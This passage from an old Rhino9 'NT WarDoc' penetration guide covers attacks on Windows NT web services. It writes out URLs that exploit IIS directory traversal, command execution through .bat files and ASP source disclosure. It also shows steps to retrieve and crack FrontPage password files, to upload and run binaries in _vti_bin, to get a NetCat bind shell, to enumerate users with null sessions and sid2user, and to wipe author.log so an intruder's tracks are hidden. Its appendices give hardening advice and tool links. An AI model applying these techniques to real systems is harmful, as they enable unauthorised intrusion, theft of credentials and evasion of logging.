like REMOTE_IP. Thus the hacker's machine remains fully
anonymous.
Let's resume:
1) IIS Web server allows a hacker to execute his "batch file"
by typing
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN
In a similar situation with the Netscape server, only
single command can be executed.
2) There is no file abracadabra.bat in /scripts directory,
but .bat extension is mapped to C:\WINNT35\System32\cmd.exe
In a similar situation with the Netscape server, actual
.bat file must exist.
3) In case a hacker enters a command like "time" or "date" as
COMMAND[N], nothing will be logged by IIS Web server.
In a similar situation with the Netscape server, the error
log will have a record about remote IP and command you
trying to execute.
<End Quote>
If you are having trouble seeing exactly what is going on in this situation, an intruder could use the above attack
sequence to create and execute files server side. This could have really drastic results depending on the skill
level and intent of the attacker. Luckily, most production environments are no longer running versions of Internet
Information Server old enough to still be affected by this flaw.
Shortly after the bat/cmd flaw was fully investigated and documented, another bug hit the community. Again, lucky
for us this flaw also only affects older version of Internet Information Server. This flaw, called the 'double
dot bug' gave the visitor to the website the ability to break out of the sanctioned webroot directory and browse
or download files. Obviously the end server could contain sensitive information that exists outside of the designated
webroot, and this simple flaw would give an outsider access to that information. The command is executed as a URL,
and its structure is as follows:
http://www.someserver.com/..\..
As if the double dot bug was not enough, another variant on that flaw appeared shortly after. This newly found
flaw would give an intruder the ability to execute scripts on the target machine. Due to the fact that this new
flaw is a variant of the double dot bug, the scripts in question could exist outside of the webroot. This attack
is also structured as a URL, and is issued as follows:
http://www.someserver.com/scripts..\..\scriptname
WindowsNT installations of Internet Information Server require some type of account to be used for authentication
on the box for public visits. If this account was not present in some fashion, every visitor to the site would
be required to present credentials. This would not be a very effective or efficient way to present a public website.
On Internet Information Server, the account to be used is the IUSR_<computername> account. This account and
its accompanying password are created during installation. By default, this account is a member of the everyone
group, and by default the everyone group has read access to everything on an NT drive. This fact coupled with the
above mentioned flaw's ability to break out of the webroot could lead to major security breaches.
For a short while, it seemed that new URL related attack types seemed to pop up every week. Following the scripts
flaw above was another script related bug that would allow an intruder to create a file on the target machine,
and possibly execute the file after creation. The new attack URL structure was:
http://www.someserver.com/scripts/script_name%0A%0D>PATH\target.bat
When this flaw first appeared, many people in the community ignored it and gave it no serious thought. Soon after,
a public release was made documenting the exact steps an intruder would take to obtain a copy of the repair SAM.
The release including the above URL flaw as part of its overall attack.
When Microsoft released Internet Information Server 3.0, it brought active server page technology to the world.
This release also opened the gates to a new stream of flaws that affected IIS and NT4.
Active server pages brought simple, dynamic webpages to the Microsoft world. Active Server Pages can be used in
many different ways, such as database connectivity, indexing and searching documents, authentication, and simple
graphics rotation for those annoying advertisement banners.
The concept of active server pages was actually pretty creative. The HTML code would include imbedded script code
that would execute server side and produce dynamic content for the end user. With this new technology widely available,
it was not long until the first flaw was released to the public. This first flaw, dubbed the 'dot flaw', would
allow an intruder to actually view the script without the server executing it.
A standard URL structure would look like this:
http://www.genericserverhere.com/default.asp
The attack URL structure would look like this:
http://www.genericserverhere.com/default.asp.
This attack would display the unexecuted code in the attackers web browser. Needless to say, the script code could
contain sensitive information, such as a username/password combination to remotely connect to a database. This
type of information, among other things, is not something that one would want an intruder getting their hands on.
When a fix was released for the dot flaw, variants of the flaw that defeated the fix were also released. The first
of the variants was the %2e flaw. %2e is the hex equivelant of a period, thus showing that the fix that was made
available was not incredibly robust. Variants of this flaw continue to show up on occasion. Because all of the
variants perform the same exact end results, they will not be discussed in detail. Some of the known attack URL
structures are listed below:
http://www.someserver.com/default%2easp
http://www.someserver.com/default%2e%41sp
http://www.someserver.com/default.asp::$DATA
http://www.someserver.com/shtml.dll?<filename>.asp
Everyone involved in the security community has a feeling that these will not be the last script displaying methods
to emerge in the near future. As these scripts become more and more commonplace, they will contain more and more
sensitive information. These simple exploits could lead to an intruder easily gleaning sensitive information.
When it comes to gleaning information from IIS, perhaps one of the most popular and easiest of the attacks is the
Index Server attack. Index Server is a small compact search engine module that was included with Internet Information
Server version 3.0. This module gives webmasters the ability to provide visitors to their site with a searchable
interface for searching the contents of the website. Although there are no inherent problems with Index Server
itself, problems arise out of a lack of education on the part of the admin or webmaster. Index Server is not difficult
to understand, setup and mantain, although its use of catalogs and scopes can lead to an admin misconfiguring the
permissions and searchable content. This misconfiguration could lead to an intruder gaining access to information
he would normally have a much more difficult time getting.
The default URL structure for this attack would be:
http://www.someserver.com/samples/search/queryhit.htm
This path reflects the default path to the sample pages that ship with Internet Information Server. If this path
is not a valid path, the intruder could still click on that helpful little "Search This Site" link to
access the same information. Once the intruder successfully reaches the html document in question, he will be presented
with a webpage containing a form field. This form field is where a visitor to your site would normally input the
information he wished to search for. An intruder could use a filename search string such as:
#filename=*.txt
This would instruct Index Server to search through its catalog of indexed data for any files ending with that file
extension. Keep in mind that this file extension is not limited to extensions that Index Server understands. If
Index Server encounters a file type it does not understand, it will treat it as a binary and index the filename,
extensions, date, and other attributes. This means that an intruder could search for anything, including *._, which
could bring up the repair sam. The interesting thing about Index Server is that unlike other full blown internet
search engines, Index Server will not display a file for which the requester does not have permission to access.
In other words, if Index Server returns the fact that it found a file, then the file is accessable.
Another favorite default function an intruder would attempt to access is Internet Information Servers web admin
interface. In a default installation of IIS, the web admin interface resides in the 'iisadmin' sub directory of
the web root, which means the URL attack structure would be:
http://www.someserver.com/iisadmin
If the admin has somehow misconfigured the permissions on this interface, then an intruder could gain unauthorized
access to the web server with administrative functions. If successful, the intruder would be presented with an
HTML interface to an administrative tool. Because of the way IIS and NT handles permissions, it is possible for
the intruder to gain access to the interface but not have the proper permissions to actually do anything with it.
So if you are auditing your own network, be sure to attempt a minor change to ensure that there is a problem.
In late '97 and early '98 an enormous amount of webserver hacks were performed. A large number of those hacks had
one thing in common: the webservers were running Microsoft Frontpage Extensions. Frontpage Extensions are little
'web bots', if you will, that allow the author or administrator of the website to perform complex or involved tasks
with relative ease.
The problem with the Frontpage Extensions was that a default Frontpage installation was not secure, especially
in the unix version. An alarming number of the servers supporting these extensions had been left unpassworded or
enabled administrative rights to the Everyone group. Again, the everyone group means everyone, including anonymous
connections.
We will dive into the first Frontpage attack with a discussion of an attack using the actual Frontpage client software.
A server that supports FrontPage will have a number of working directories that begin with the letters '_vti'.
Doing a search at any of the popular search engines for any of the default frontpage directories would result in
a large number of returns from the engine. An intruder could then get comfortable and attempt a simple, repetative
attack against these servers. The attack is executed as follows:
1- Open your own personal copy of FrontPage
2- Goto the "Open frontpage web" dialogue box
3- Put in the URL or IP of the server you wish to attack
If the server is unpassworded or if permission is granted to the everyone group, Frontpage will open the remote
site for you, and allow you to alter it. The attack really is this simple. If the extensions are set up correctly,
a username/password dialogue would appear. The intruder may attempt some basic combinations such as administrator/password,
but chances are the intruder won't bother, and will move on.
An intruder could also use the same "open frontpage web" trick to get a complete user listing. This could
be used in brute force attacks later. Documentation circulated explaining that to stop the gleaning of usernames
this way, one should create a restriction group as FP_www.yourdomain.com:80. This new restriction group indeed
works, unless the intruder uses the IP address of your server instead of the domain name.
Some other tricks that can be done with FrontPage support is attempting to grab the Frontpage password file. Frontpage
normally stores the password in the _vti_pvt directory, with the name service.pwd. An intruder could attempt to
execute the following URL:
http://www.someserver.com/_vti_pvt
If permissions are not setup correctly and directory browsing is allowed, the intruder would get a listing of the
files in that directory, including service.pwd. Usually the administrator will pay some attention to the installation
and security of the site and restrict access to that directory. Although this is a good initial step, always remember
how NTFS works. Depending on the configuration of NTFS, a user may still gain access to the password file even
though access to the parent folder has been denied. In this type of situation, the intruder would simply issue
the full path to the file in the URL, such as:
http://www.someserver.com/_vti_pvt/service.pwd
Although the frontpage password file is encrypted, it is encrypted with standard DES, so any DES cracker can glean
it after proper file doctoring. An intruder may also poke around the other _vti directories, as sometimes these
can hold sensitive information. After the username is known and the password has been cracked, the intruder could
then re-connect with his copy of Frontpage and provide it with the credentials, or the credentials could be used
in other ways, such as mapping a network drive, provided the same username/password combination would work in that
context.
(NOTE: Service.pwd is not the only known password file name. Authors.pwd, admin.pwd, users.pwd and administrators.pwd
have also been seen.)
Of the Frontpage related exploits, the binary ftp exploit is probably considered to be the most sophisticated,
even though it's also extremely easy to accomplish. The binary attack would allow an intruder to execute any binary
via frontpage extensions. The attacker must find a server that supports frontpage and also supports FTP anonymous
writable. After connecting to the server via FTP, the intruder would create a directory named _vti_bin. He would
then upload whichever executable he wishes to run into the newly created directory. Once the executable file has
been uploaded, the intruder would issue the following URL:
http://www.someserver.com/_vti_bin/uploaded_file
The server will then be more than happy to execute the file for the visitor of the site.
Shortly after the binary attack made its rounds, the _vti_cnf bug was found. This would allow an intruder to view
all files in a certain directory. By replacing the index.html with _vti_cnf, the intruder would see all files in
that directory, and possibly gain access to them. The attack is issued as follows:
Standard structure - http://www.someserver.com/some_directory_structure/index.html
Attack structure - http://www.someserver.com/some_directory_structure/_vti_cnf
It may seem as though there could be countless variants of the same attack type that could issue similar results.
Sadly enough, that is a somewhat accurate statement. Many of these flaws are found by people playing with variants
of previous flaws, but not all flaws affecting NT web services come from Internet Information Server.
There are other web server software packages that will run on NT, like the well known Apache web server. Of course,
with these third party web server packages and seperately released scripts that run on these third party packages,
new flaws are bound to show up.
Webcom Datakommunikation released a cgi script that would allow visitors of a website to sign a guestbook. The
name of the cgi script is wguest.exe. By issuing the proper commands, this little cgi script allows an attacker
to view any text file on your server.
The form page where a visitor would sign the guestbook contains a number of hidden fields. One of these hidden
input fields is as follows (as reported by David Litchfield):
input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">
or
input type="hidden" name="template" value="/gb/template.htm">
Template.htm here is the file that will be displayed by wguest.exe after the user has entered his information.
To exploit this an attacker views the source and saves the document to his desktop and edits this line by changing
the path to whatever file he wants to view, eg.
input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">
[If an unattended install was done the admin password can be gleaned from this file]
He then clicks on "Submit" and then wguest.exe will display this file. This was not tested with pwl files.
However the attacker must know the exact path of the file he wishes to view.
Another 'generic' HTTPD exploit involves a third party webserver product that runs on WindowsNT called Sambar Server.
The following is a direct quote from posting:
<quote>
It is possible to view the victim's HDD. Asume you find a computer running Sambar Server by searching the Internet
with these key-words: +sambar +server +v4.1
If you find a site like: http://www.site.net/ then do a test, run a little perl script...
http://www.site.net/cgi-bin/dumpenv.pl
Now you see the complete environment of the victims computer, including his path. Now you can try to login as the
administrator by this url:
http://www.site.net/session/adminlogin?RCpage=/sysadmin/index.stm
The default login is: admin and the default password is blank. If the victim hasn't changed his settings, you now
can control his server. Another feature is to view the victims HDD. If you were able to run the perl script you
should also be able (in most cases) to view directory's from his path. Most people have c:/program files and c:/windows
in the path line, so what you can do is:
http://www.site.net/c:/program files/sambar41
<end quote>
The next small item in this section has to do with Netscape Enterprise Server. Some versions of the software react
to the ?PageServices parameter by allowing users access to a directory listing. http://www.site.net/?PageServices
is how this would be done.
Finally a word on FTP. FTP can be a secure thing. Tons of people will argue that platforms and version dependancy
make it more secure, and for the most part this is true. Most seasoned security profressionals will tell you that
version and platform do not amount to anything without an educated end admin. We are adding this quick note in
here due to the number of servers Rhino9 has been able to penetrate based on FTP permissions. Some admins will
not notice, or understand, the "Anonymous world writable" privs on their webserver. Rhino9 has questioned
and worked its way into an entire network via one misconfigured FTP server.
It is not difficult to upload NetCat via anon-ftp-writable to a server, execute it via URL, and bind it to a port.
From that point on, you have a remote 'shell' on the NT box. By connecting to that remote NetCat bind, keep in
mind that all command line functions issued from that shell seem to be sent from THAT SHELL, with the NetCat binding
running in the context of an internal user.
===================================================================
MISCELLANEOUS INFORMATION GATHERING AND PENETRATION TECHNIQUES
===================================================================
(As with any type of security related document that attempts to encompass many different topics, some topics will
seem out of place among the rest of them. This section deals with different techniques that really did not fit
anywhere else in the document. Excuse the somewhat fragmented nature of this section.)
If there is one product that Rhino9 as a team has spent time tearing apart, it is WinGate. The first problem encountered
with WinGate was the ability to 'bounce' through a WinGate with all subsequent connections appearing to come from
the WinGate itself. This little flaw was extremely easy to take advantage of. One would telnet to the WinGate port
and be presented with a prompt such as:
WinGate>
At this prompt, you could issue a seperate telnet command or take advantage of the WinGates SOCKS ability to establish
other connections. While the developer of this software product was quick to release fixes and bulletins for this,
the next release also had problems.
In a default installation of WinGate v2.1, the WinGate machine was configured with a logging service. The logging
service listens on port 8010 of the WinGate machine. By establishing an HTTP connection to this port, a possible
intruder would be presented with two general feeds:
"Connection Cannot Be Established"
Or, the intruder would get a listing of the wingate machines hard drive. Keep in mind, that this is a default install
and can easily be fixed by chaning the default install configuration.
As Exchange server became a more and more popular mail server package, flaws began to appear. The first flaw to
emerge was a password caching problem within the architecture of Exchange. This is a quote directly from the original
posting:
<quote>
Create a user xyz on your NT domain with an Exchange 5.0 server with POP3 service. Set xyz's password to a1234.
Things work fine so far. Now change xyz's password to b5678. You will find that POP3 mail clients can log in using
either password a1234 or b5678 for user xyz. Now change the password to something else. You will find that a POP3
client (or direct telnet to port 110) will allow you to log in as xyz using any of the three passwords. They all
work. The Exchange 5.0 service POP3 connector caches passwords in a non-hashing mechanism so that all the passwords
remain active. This does not affect the new web page interface to get your mail which uses a different authentication.
Nor does it affect NT logons. In non-POP3 logins, the passwords are not cached (except NNTP and LDAP). As you can
see, the caching problem can be very serious in certain environments.
<end quote>
Another technique that an intruder could use to gather information is based on the SMTP port of a target mail server.
In order to be SMTP compliant and have the ability to fully interact with other mail entities on the internet,
NT based SMTP mail servers understand the verify feature. By establishing a telnet session to the SMTP port of
the mail server, an intruder could issue the verify command in conjunction with a username. If the verify feature
is enabled, the server will tell the intruder if it is a valid username or not. The attack command would appear
as such:
vrfy administrator (would verify if a user named administrator existed)
On some mail systems, the intruder would be required to go through the HELO sequence first, but this is extremely
trivial. Needless to say, this could lead to an intruder gathering a list of valid usernames to use in other attacks.
===================================================================
FINAL WORDS
===================================================================
The authors of this document hope that you have enjoyed reading it and that you have learned something from it.
The authors would also like to remind the readers that we wish to keep this document current. Planning future releases
of this document, with up to date information allows us to begin keeping a publicly available living record that
administrators and security professionals can use. Send your information gathering and remote penetration techniques
to neonsurge@hotmail.com. As new versions of this document become available, notice will go out on such lists as
NTBugTraq. The home of the document itself will be at the Rhino9 website (http://rhino9.ml.org),
The authors of this document have three other documents planned for release in the near future, all of them part
of the NT WarDoc series. We have an indepth Denial of Service paper in the works, Local Penetration Techniques
paper, and a paper dealing with techniques one could use to gaurd against the topics of the other papers. We look
forward to feedback from the community.
===================================================================
APPENDIX A: THE NET COMMAND
===================================================================
Below is a listing of all Net commands and their functions:
Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also
contains options for updating the User accounts database and modifying password and logon requirements.
Net Computer: This adds or deletes computers from a domains database.
Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying
Server or Workstation, the command displays a list of configurable services.
Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.
Net File: This command lists the open files on a server and has options for closing shared files and removing file
locks.
Net Group: This displays information about group names and has options you can use to add or modify global groups
on servers.
Net Help: Help with these commands
Net Helpmsg message#: Get help with a particular net error or function message.
Net Localgroup: Use this to list local groups on servers. You can also modify those groups.
Net Name: This command shows the names of computers and users to which messages are sent on the computer.
Net Pause: Use this command to suspend a certain NT service.
Net Print: Displays print jobs and shared queues.
Net Send: Use this command to send messages to other users, computers, or messaging names on the network.
Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.
Net Share: Use this command to list information about all resources being shared on a computer. This command is
also used to create network shares.
Net Statistics Server or Workstation: Shows the statistics log.
Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one
service may stop other services.
Net Time: This command is used to display or set the time for a computer or domain.
Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared
resources.
Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying
those accounts.
Net View: This command displays a list of resources being shared on a computer. Including netware servers.
**Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers
and Workstation. DOS and older Windows clients have these NET commands available:
Net Config
Net Diag (runs the diagnostic program)
Net Help
Net Init (loads protocol and network adapter drivers.)
Net Logoff
Net Logon
Net Password (changes password)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver (displays the type and version of the network redirector)
Net View
===================================================================
APPENDIX B: AN EXAMPLE OF THE SID TOOLS IN USE
===================================================================
Below is an example of the SID Tools in action, quoted directly from the public posting about this tool:
This flaw works with the User2Sid and Sid2User utilities. The utilities make function of the LookupAccountName
and LookupAccountSid WIN32 Functions. These functions must be executed by a user with EVERYONE access, not very
hard to accomplish. Here's what happens:
1) Looking up a SID of any domain account, for example Domain Users
user2sid "domain users"
S-1-5-21-201642981-56263093-24269216-513
Now we know all the subauthorities for the current domain. Domain accounts only differ by the last number of the
SID, called a RID.
2) Looking up the built-in administrator name (RID is always 500)
sid2user 5 21 201642981 56263093 24269216 500
Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
Now it is possible to look up all the domain accounts from the very first one (RID = 1000 for the first account,
1001 for the second and so on, RIDs are never used again for the current installation).
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
...
Remember that the anonymous account is also part of the Everyone group. It also happens that the anonymous account
is not audited by the logon/logoff feature.
Below is an example of what you can learn provided the netbios ports are open (the listing is fictional).
nslookup www.xyz.com
Non-authoritative answer:
Name: www.xyz.com
Address: 131.107.2.200
net use \\131.107.2.200\ipc$ "" /user:""
The command completed successfully.
user2sid \\131.107.2.200 "domain users"
S-1-5-21-201642981-56263093-24269216-513
Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500
Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000
Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001
Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112
LookupSidName failed - no such account
Default NT Install SID's are:
DOMAINNAME\ADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)
DOMAINNAME\GUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)
Built-In Global Groups
DOMAINNAME\DOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)
DOMAINNAME\DOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)
DOMAINNAME\DOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)
Built-In Local Groups
BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTIN\USERS S-1-5-32-545 (=0x221)
BUILTIN\GUESTS S-1-5-32-546 (=0x222)
BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227)
BUILTIN\REPLICATOR S-1-5-32-552 (=0x228)
Special Groups
\CREATOR OWNER S-1-3-0
\EVERYONE S-1-1-0
NT AUTHORITY\NETWORK S-1-5-2
NT AUTHORITY\INTERACTIVE S-1-5-4
NT AUTHORITY\SYSTEM S-1-5-18
===================================================================
APPENDIX C: RELATIONAL LOCATIONS OF DEFAULT IIS STRUCTURES
===================================================================
C:\InetPub\wwwroot <Home>
C:\InetPub\scripts /Scripts
C:\InetPub\wwwroot\_vti_bin /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:\InetPub\cgi-bin /cgi-bin
C:\InetPub\wwwroot\srchadm /srchadm
C:\WINNT\System32\inetserv\iisadmin /iisadmin
C:\InetPub\wwwroot\_vti_pvt /_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin
Frontpage specific files and their functions:
/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS and WebSite servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to cover an intruders tracks.
===================================================================
APPENDIX D: THE SERVICES
===================================================================
I have received countless pieces of mail regarding the NT services. People are asking what they do and should certain
ones be disabled. Whats follows is a list of the services, an explanation of each one, and recommendations for
setup. -NeonSurge
ALERTER: Relies on NetBIOS over TCP/IP for network communication. This service allows a user to receive messages
from other machines. These messages could be warnings or some type of pre-determined network information. I recommend
disabling the Alerter service on machines due to its NetBIOS dependancy and the fact that it is hardly ever used.
CLIPBOOK SERVER: Relies on NetBIOS over TCP/IP for network communication. This server service allows the contents
of the clipboard to be shared over a network. Few use it, and it should be disabled due to the ability of a remote
intruder possible gleaning information from it.
COMPUTER BROWSER: The Computer Browser service allows one to view available network resources by browsing via Network
Neighborhood. When active on a server, the server will register its name through a NetBIOS broadcast or directly
to a WINS server. I recommend disabling this service.
DHCP CLIENT: This service should be set to automatic if the machine is a dhcp client, if not, disable it.
DIRECTORY REPLICATOR: This service allows NT systems to import and export directory contents. If you content replication
is not needed, disable this service.
EVENT LOG: I recommend always using this service because it is the service responsible for logging activity on
the server, including security activity.
LICENSE LOGGING SERVICE: Used to track use of licenses by different applications, it does not have any serious
impact on the network and should be set to automatic (which is the default setting).
MESSENGER SERVICE: Relies on NetBIOS over TCP/IP for network communication. Similar to the Alerter service in both
design and function. I recommend stopping this service to prevent username enumeration via NBTSTAT commands.
NET LOGON: This service is used by both Server and Workstation to provide for user authentication. TSERhis service
is said to be required at all times and runs as the built in SYSTEM user.
NETWORK DDE and DDE DSDM: These service provide dynamic data exchange. DDE is used for such applications as Chat
(thats important!), and other applications that may require this type of functionality. These services are considered
to be a moderate risk due to their TCP connection accepting states.
NETWORK MONITOR AGENT: Network Monitor Agent is used to monitor, or sniff, the traffic passing through a network
adapter card. If the SMS version of this software is in use, an administrator can remotely monitor traffic on other
network adapter cards.
NT LM SECURITY SUPPORT PROVIDER: This service is present to help with backwards compatibility and authentication
with older software packages.
PLUG AND PLAY: Used to configure PnP devices.
REMOTE PROCEDURE CALL LOCATOR AND SERVICES: RPC is a protocol that is used to encapsulate fucntion calls over a
network. Its defualt configuration, automatic, is standard and should be left alone. This service is considered
to pose a high security risk, but the dependancies existing on this service are too great to disable it.
ROUTING AND REMOTE ACCESS SERVICE: This is an add-on service that enhances the functionality of WindowsNT. If you
are using a modem to dial-out of your NT system, this service should be set to automatic. If you are using its
routing features, also set it to automatic.
SCHEDULE: This service allows an application to be executed at a pre-specified time and date. This can pose a serious
security threat as this service can be used to start applications under the SYSTEM context.
SERVER: Used as the key to all server-sdie NetBIOS applications, this service is somewhat needed. Without this
service, some of the administrative tools, such as Server Manager, could not be used. If remote administration
or access to the machine is not needed, I highly recommend disabling this service. Contrary to popular belief,
this service is NOT needed on a webserver.
SPOOLER: The spooler service is used to accept requests for print jobs from clients, and to allow the local system
to spool jobs to a network printer. This service should be set to automatic.
TCP/IP NETBIOS HELPER: This service helps and enhances NBT and the Net Logon service. Because the Net Logon service
should be set to automatic, so should this service.
TELEPHONY SERVICE: This service is used to manage telephony drivers and the properties for dialing. On a system
that does not use any type of telephony or RAS devices should have this service disabled.
UPS: This service is used in serial communication with an Uninterruptible Power Supply.
WORKSTATION: This service allows for outbound NetBIOS connections. Because it is used in outbound connections only,
it is normally not a security risk and should be set to automatic.
===================================================================
APPENDIX E: URL's
===================================================================
Sid Tools: http://www.technotronic.com/microsoft.html
Eudpass: http://rhino9.ml.org/wardoc
1nf0ze: http://rhino9.ml.org/wardoc
FireFTP: http://rhino9.ml.org/wardoc
Grinder: http://rhino9.ml.org/software
Glide: http://rhino9.ml.org/wardoc
John The Ripper (DES Cracker): http://www.false.com/security/john/index.html
WS_FTPBug: http://rhino9.ml.org/wardoc
L0phtCrack (NT Password Cracker): http://www.l0pht.com
PWDump: http://rhino9.ml.org/wardoc
NAT: http://www.technotronic.com/microsoft.html
===================================================================
APPENDIX F: THE LMHOSTS FILE
===================================================================
Although most security professionals are used to working with a HOSTS file, WindowsNT actually uses two text files
to resolve hostnames to their adresses. WindowsNT still uses a HOSTS file, but it also uses an LMHOSTS file.
Much like a HOSTS file, an LMHOSTS is a flat, sequential text file that is used to resolve computer names (NetBIOS)
to addresses. The LMHOSTS file also allows one to use keywords, which gives it greater functionality and flexibility
than a HOSTS file.
The keywords that the LMHOSTS file uses are #PRE, #DOM:domain, #INCLUDE filename, #BEGIN_ALTERNATE, and #END_ALTERNATE.
If something follows a hash mark that is not one of these keywords, it is treated as a remark.
#PRE: If this keyword follows an entry in an LMHOSTS file, it tells WindowsNT to pre-load that entry into the name
cache. This allows the windows system to resolve the name much quicker.
#DOM: The #DOM tag entry causes WindowsNT to associate that entry with whatever domain you specify (i.e. #DOM:accounting).
This helps NT resolve certain names more efficiently because it does not have to consult routing tables to find
out which domain the entry belongs in.
#INCLUDE: This entry tells WindowsNT where to look for other LMHOSTS files that reside on other machines. When
using this function, one should specify the UNC path to the other LMHOSTS file. The #BEGIN_ALTERNATE and #END_ALTERNATE
are used in conjunction with the #INCLUDE tag and should appear before and after the #INCLUDE tag.
===================================================================
RHINO9 SECURITY RESEARCH TEAM - HTTP://RHINO9.ML.ORG
===================================================================